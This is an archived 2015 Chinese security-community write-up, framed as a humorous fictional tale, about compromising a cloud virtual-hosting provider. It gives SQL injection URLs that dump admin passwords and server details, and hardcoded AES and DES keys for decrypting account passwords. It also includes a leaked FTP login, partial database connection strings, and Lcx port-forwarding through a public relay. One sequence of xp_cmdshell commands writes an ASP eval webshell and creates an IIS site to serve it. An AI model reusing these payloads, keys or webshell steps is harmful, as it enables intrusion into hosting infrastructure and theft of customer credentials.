# 磨针记2——逝去的女神

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2015-10-28T03:00:00Z
Canonical: https://wepostx.com/topics/1139

> 乌云历史资料归档
>
> **原始作者：** 大宝宝
> **原始编号：** superkieran-wooyundrops:853
> **原始发布时间：** 2015-10-28 11:00
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

（本文纯属虚构，如有雷同，实属巧合）
重阳祭祖，在闲暇之余，且听我讲述一个小小的故事。

# 0x01 飘渺的云虚机

很久很久以前，一个叫XXX的女孩和倭国的阿x发生了一夜情。XXX意乱情迷，浑不顾众人的反对，嫁鸡随鸡了。阿x现在做起了互联网的生意，瞧，这不是他们正在热推的云虚机吗？

![原文图片](/media/2016/06/3b21049f6a2bb6198e8fd4b013a4da73)

图1 云虚机
共享经济版，就是传统的虚拟主机，几百个客户挤在一台服务器上，共享有限的资源。独享版呢，就要多掏银子，争取好一些的服务。一度被称为x云的独享版，如今与共享版一起上了云，美其名曰云虚机。
相比绚丽的广告，阿x为客户提供了朴素到极致的管理界面，最近我爱上了一块五一包的康师傅，品质和这差不太多。

![原文图片](/media/2016/06/6d3a735bb1d9ae64867c3a9dc7d2dbf9)

图2 云虚机的管理界面
花费不少银子，为什么不能拥有一个图形界面呢？于是我敲敲桌子，大喊：“小二，来个图形界面。”小二很殷勤，“客官，您只需要小小地升个级。”我递过信用卡，不一会，小二回来了，“客户，余额不足哦。”我纳闷了：“不是还有五百块吗？”小二笑了笑，投过一个深深的眼神：“升级需要五千大洋哦。”我赶紧挥挥手，把永远都那么讨人喜欢的小二打发掉了。
咱谨记太祖的训示，“自己动手，丰衣足食。”诸位且看小子如何征服云虚机。

# 0x02 Lcx

虚机改了名，上了云，终究还是一个没骨的。征服它不难，难的是无处不在的防火墙，转发利器Lcx又得到了出场的机会。
首先，从你掌握的资源中挑选一台位于公网的服务器，再从服务器对外开放的端口中，选出一个空闲的，用于Lcx监听云虚机的请求。这一次我选择了443端口。此外，Lcx还需要一个监听服务器上的远程工具连接的端口，只须空闲即可，我选择了2500。（在命令提示符下使用netstat –an查看已用的端口）

![原文图片](/media/2016/06/16d8897702051a26a1045ddc9af72340)

图3 Lcx连接示意图

![原文图片](/media/2016/06/936940aea2bb2bd03c181dc28e5d48d3)

图4 连接步骤1：公网服务器上的服务端执行监听
其次，在云虚机上运行Lcx客户端。我一般直接使用别人从AspxSpy抠出的代码，因为做过混淆，也就略过不提。需要理解原理的同学可参考《WINDOWS网络编程技术》一书，把那几个常用的API理解了，把几个模型弄清了，一通百通。使用时，点击“MapPort”建立连接。如果连接中断了，可以使用“ClearAll”关闭已经打开的Socket，再重新建立连接。只要稍加留意服务器端的提示，还是很简单的。图中的a.b.c.d是公网服务器的IP地址，端口为443。

![原文图片](/media/2016/06/936940aea2bb2bd03c181dc28e5d48d3)

图5 连接步骤2：云虚机上的客户端执行连接
几秒钟之后服务器提示接头成功。

![原文图片](/media/2016/06/f50b44cb1d82023b76e68a2c457d038f)

图6 与客户端建立连接
如上图，Lcx已在云虚机与公网服务器间建立了连接。此时就可以在服务器上使用远程连接工具来访问云虚机了，连接地址为127.0.0.1:2500。注意啰，不要直接连接云虚机的IP。

![原文图片](/media/2016/06/3c101160ebaff80647ef62a7e8d150a3)

图7 在服务器上远程连接云虚机
曾经使用过一个独创的Lcx，为了避免空闲时掉线，代码中添加了闲时发包的功能。这一个改进自然是好的，但倘若与原生的Lcx共用，却又无法匹配工作。假如在开发之时把它作为一个可选的选项，也许会更好一些。

# 0x03 托梦

年初云小编审稿，XXX还吊着半条命，为此我省略了密码问题，他也干脆地把我给毙掉了。如今逝者已矣，XXX托梦与我，曾经由她掌控的云虚机有如下命名规则 ：
规则说明
服务器默认创建2（或3、4个？）个管理帐号虚无飘渺的梦境啊
若服务器名为qyw-10000，则管理帐号为qyw10000adm及qyw10000bka。若存在Mssql，则禁用sa，并改名为sa_qyw10000adm那位大哥，不要迷恋sa了，好不
密码为8或10位的数字与小写字母轮流出现的随机组合。（且避开某些不易区分的数字与字母？）XXX的经典之密q1w2e3r4
管理帐号的密码采用AES加密 Key: XO7BWKVmCzFV43VNm6jlsQ== IV: +AjPNc+raabKpHYqsQeZAQ==Key与IV需如下转换成字节数组：byte[] bytes1 = Convert.FromBase64String(AESkey) 测试用例：Hello：goMNyIL+hkhSXyZbkPBH9g==
Ftp的密码采用DES加密 Key: woskxmvb测试用例：Hello：F45FCB92F2561036
恰巧手上有一枚未破之密，咱也不用什么Intel，附近就是国产生物电脑的聚集地——乖宝宝幼稚园。五分钟之后，小朋友们人手一颗棒棒糖，在宣传部小妹妹的鼓动之下，操起“全世界最安全”的“安全手机”并行登录，场面蔚为壮观。不一会阿土伯的曾孙阿土仔最先登顶——原来是一台市值40大虾的青岛主机。

![原文图片](/media/2016/06/cff740c6a1cfad376778b061333f7844)

图8 短了0.06GHz，王海何在
一时兴起，想探究为何IIS被设置为32位模式，谁知……

![原文图片](/media/2016/06/35fa69047a1d3feccdf685e116ab69df)

图9 XXX模块无法运行于64位模式
是夜，秋风渐起凉人意，咱晒晒山寨代码暖和一下。

![原文图片](/media/2016/06/f9e14471f6802af477d39d56e14ae5c4)

图10 256位AES
我自罚三杯，早早地睡了，想到明日就可实现不睡懒觉的伟大理想，辗转反侧。
翌日，我错过了最后一个肉包子。还是大师说的对，“施主，吃素有益健康，请把肉施舍给老衲吧，哦米拖佛。”

# 0x04 三颗蓝宝石

掘的过程犹如筛沙，漫长而无聊，今日稍加展示三颗璀璨的蓝宝石。
第一枚，vhcon.XXX.com漏点。查询vminfo表：

```text
http://vhcon.XXX.com/taskmanstatus/query.aspx?likename=cnd%27 union all Select top 100 Convert(Nvarchar(4000),[主机名]%2bChar(124)%2b[adm口令]%2bchar(124)%2b[bka口令]%2bchar(124)%2b[数据库口令]%2bchar(124)%2b[主IP]%2bchar(124)%2b[从IP]%2bchar(124)%2b[主机类型]%2bchar(124)%2b[系统类型]%2bchar(124)%2b[系统版本]%2bchar(124)%2b[出厂编号]%2bchar(124)%2b[机房位置]%2bchar(124)%2b[从IP情况说明]%2bchar(124)%2b[组号]%2bchar(124)%2b[内网IP]%2bchar(124)%2b[城市]%2bchar(124)%2b[服务商]%2bchar(124)%2b[机房]%2bchar(124)%2b[服务器类型]%2bChar(124)%2bconvert(nvarchar(400),[id])) as servername,[主IP] as chkuserdir From [hiconnect_db]..[vminfo];--&act=loadtask&taskname=chkuserdir&tasktype=unmatch&
```
查询keyplatform表。对于这个keyplatform，我曾经做过非常深入的问卷调查，全国人民一致表示资历尚浅，弄不清这西洋文~~~后经专家的权威认证，Key是钥匙，platform是平台，而后专家缓缓地闭上眼，想像出平台上挂满了钥匙的场景。如此渊博的学识，无怪已经入选了社科院，佩服佩服。

```text
http://vhcon.XXX.com/taskmanstatus/query.aspx?likename=cnd%27 union all Select top 1000 Convert(Nvarchar(4000),[hostname]%2bChar(124)%2b[wanip]%2bchar(124)%2b[lanip]%2bchar(124)%2b[username]%2bchar(124)%2b[password]%2bchar(124)%2b[conip]%2bchar(124)%2bconvert(nvarchar(200),[contype])%2bchar(124)%2b[os]%2bchar(124)%2b[dev]%2bchar(124)%2b[pe]%2bchar(124)%2bconvert(nvarchar(200),[appgroup])%2bchar(124)%2b[city]%2bchar(124)%2b[jifang]%2bchar(124)%2b[apps]%2bchar(124)%2bconvert(nvarchar(200),[ifdel])%2bChar(124)%2bconvert(nvarchar(400),[id])) as servername,[hostname] as chkuserdir From [hiconnect_db]..[keyplatform];--&act=loadtask&taskname=chkuserdir&tasktype=unmatch&
```

![原文图片](/media/2016/06/db990a5abf9e2511fefd00ff051e895e)

图12 keyplatform
第二枚，立足于XXX的服务器，访问opdown.XXX.com，用户名civilink，密码opdown。下载HiConnectClient.zip，解压后将“常用表格-虚机.xls”去除密码，三万台虚拟服务器一目了然。

![原文图片](/media/2016/06/8d5acb6dde1ad68c59be7eeed0b32e26)

图13 Opdown的满汉全席

![原文图片](/media/2016/06/71b45358e08628482afb4177494e3579)

图14 明码标价，诚得我心
第三枚，令小XXX投怀送抱的终极晶钻——XXX之心，核心数据库的连接串为

```text
（1）server=XXX.*.rds.*.com,3433;uid=hmpsa;pwd=*;database=hi_hmp （2）server= XXX.*.rds.*.com,3433;Database=cmp;uid=cmpsa;pwd=* （3）data source = XXX.*.rds.*.com,3433;initial catalog = hiflow; user id =hiflowsa;password =* （4）Data Source=10.*.*.2;Initial Catalog=HiService;uid=hcmsdb;pwd=* （5）Data Source=10.*.*.2;Database=CloudPlantform;uid=cmpsa;pwd=* （6）Data Source=10.*.*.3;Database=Ah_Monitor;uid=hcmssa;pwd=* （7）Data Source=10.*.*.10;Initial Catalog=HiServices;uid=sa;pwd=* （8）server= XXX.*.rds.*.com;user id=cproot;password=*;database=cp_db
```

![原文图片](/media/2016/06/d74c4f90931ce1a42677e733710bf33e)

图15 陈旧的Hmp数据库
五万台服务器，三十万用户，多乎哉，不多也。阿x人无须惊慌，这些小小的疏忽都是临时工导致的，是早已废弃的备份，主库目前置于极其安全的防护下，如需攻破还得等到本世纪中叶。

# 0x05 堡垒鸡

每逢激情上演，万恶的防火墙总要跳出坏人好事。22、887、3389、9001，15588，为何我需要的端口都被封杀？社工团员们，考验你们的时候到了。你们去阿x那儿，一定要安下心来发展业务，顺便喝杯水，蹭蹭Wifi，胆大的皮厚的拉着客服姐姐的小手聊聊天，借用姐姐的手机上上网，我等着你们的好消息。与此同时，我还是探寻技术之路吧。
遍翻武林秘籍，传闻要越过这道“马其诺防线”，唯有找到堡垒鸡。向来只听闻阿凡达的大公鸡、雅加达的老母鸡和思密达的小鸡鸡，堡垒鸡又是什么东西？原来海归名叫Bastion，二代身份证上赫然印着“巴斯申”：
名称IP地址
BastionHost.BJ112.*.*.*
BastionHost.HZ223.*.*.*
OPDown.BJ112.*.*.*
OPDown.HZ223.*.*.*
NewBastion.QD115.*.*.*
NewBastion.HZ112.*.*.*
OXS1.HZ10.*.*.*
OXS2.HZ10.*.*.*
堡垒鸡，你还配作一个代理吗，刀枪林立，戒备森严，我还是远远绕道莫要理会。

# 0x06 cvbb再次出场

我欲乘风归去，cvbb却死皮赖脸地抱住导演的大腿直抱怨戏份少，走不得，无奈，只得加戏！
场景一：期末考试中，cvbb正襟危坐，实则早与外部搭上了天地线。
Q：（问答题，10分）已知远程Mssql主机的系统管理帐号hds129adm，密码x，禁用了sa，请给出登录步骤。（警告：挑战主考官智商者倒扣10分）
cvbb欲答：速令黑社会24小时内占领主机！这气势，是挑战主考官的节奏吗？再看外边传进的答案：
A： （1） 运行虚拟机，添加同名、同密码帐户，以此帐户重新登录
（2） 在虚拟机中，运行SSMS，选择“Windows身份验证”登录数据库（图16，17）
（3） 启用cmdshell
（4） 在cmdshell中检查w3svc等IIS相关服务及80端口是否正常，必要时使用adsutil.vbs创建一个新站点（图18）
（5） 在所选的站点下生成一句话（图18）
（6） 使用一句话上传端口转发工具
（7） 凌晨两点准时鸣放100响礼炮提醒大家早睡早起身体好

![原文图片](/media/2016/06/c5cc70a84f40a497676d452e74163e22)

图16 禁用sa也无妨

![原文图片](/media/2016/06/549b741bdb381b5d5d2d74db406fbf6b)

图17 禁用sa也无妨之二

```text
exec xp_cmdshell 'c:\windows\system32\cmd.exe /c cacls d:\software /e /t /g everyone:f' exec xp_cmdshell 'echo ^<%b=request("#")%^>^<%eval b%^> > d:\software\1.asp' exec xp_cmdshell 'C:\Inetpub\AdminScripts\adsutil.vbs create_vserv w3svc/99' exec xp_cmdshell 'C:\Inetpub\AdminScripts\adsutil.vbs set w3svc/99/serversize 100' exec xp_cmdshell 'C:\Inetpub\AdminScripts\adsutil.vbs set w3svc/99/servercomment "test"' exec xp_cmdshell 'C:\Inetpub\AdminScripts\adsutil.vbs set w3svc/99/serverbindings ":80:"' exec xp_cmdshell 'C:\Inetpub\AdminScripts\adsutil.vbs set w3svc/99/enabledefaultdoc true' exec xp_cmdshell 'C:\Inetpub\AdminScripts\adsutil.vbs set w3svc/99/root/path d:\software' exec xp_cmdshell 'C:\Inetpub\AdminScripts\adsutil.vbs set w3svc/99/root/accessread true' exec xp_cmdshell 'C:\Inetpub\AdminScripts\adsutil.vbs set w3svc/99/root/accesswrite true' exec xp_cmdshell 'C:\Inetpub\AdminScripts\adsutil.vbs set w3svc/99/root/accessscript true' exec xp_cmdshell 'C:\Inetpub\AdminScripts\adsutil.vbs set w3svc/99/root/enabledefaultdoc true' exec xp_cmdshell 'C:\Inetpub\AdminScripts\adsutil.vbs set w3svc/99/root/appfriendlyName 默认应用程序' exec xp_cmdshell 'C:\Inetpub\AdminScripts\adsutil.vbs start_server w3svc/99'
```
图18 创建新站点，生成一句话
使用Dos命令echo生成一句话时使用了转义符^（数字6上头之符号）。新站点可直接使用IP地址访问。某些防火墙可能会限制IP地址的访问，随机应变就是了。
场景二：期末考试进行中，vcbb仍正襟危坐。
Q：（问答题，10分）已知虚拟主机所在服务器的系统管理帐号bgw002adm，密码x，请给出登录步骤。（警告：挑战主考官智商者倒扣20分） cvbb欲答：强攻机房，限黑社会6小时内占领主机~~~真是一个语不惊人死不休的人哪，再看外边传进的答案：
A：
（1） 登录Hmp库，在VirtualHostInfo表中查找该主机的Ftp用户名和密码（图19）
（2） 使用Ftp上传端口转发工具
（3） 凌晨四点准时鸣放500响请大家早起锻炼身体后，自己睡觉

![原文图片](/media/2016/06/30fd6cd07f91ef047f6adeb0174ec851)

图19 VirtualHostInfo表
cvbb与众不同之处，就在于模拟。尤其这类已知用户密码的场合，实在太适合他的发挥了。

![原文图片](/media/2016/06/a66aabf3c57929ea61d4155719debd32)

图20 如鱼得水
导演一声cut，cvbb好歹露了一脸，面上有光，终于肯乖乖地回去了。

# 0x07 后记

阿x抽出XXX的筋骨，前后历经四年，多种手段并进：
（1） 部门整合，打乱编制
（2） 主要开发人员调往营销岗位，中止新技术研发
（3） 老员工离职
（4） 平台迁移，解散运维部门
（5） 文化渗透
打着减少成本的光鲜旗号不断削弱XXX的力量，最终XXX成为阿x的一颗死棋子，失去了所有的技术与资源。
惆怅中，只闻一首古曲从远方渺渺传来……
春花秋月何时了？往事知多少。小楼昨夜又东风，故国不堪回首月明中。
雕栏玉砌应犹在，只是朱颜改。问君能有几多愁？恰似一江春水向东流。

## Replies
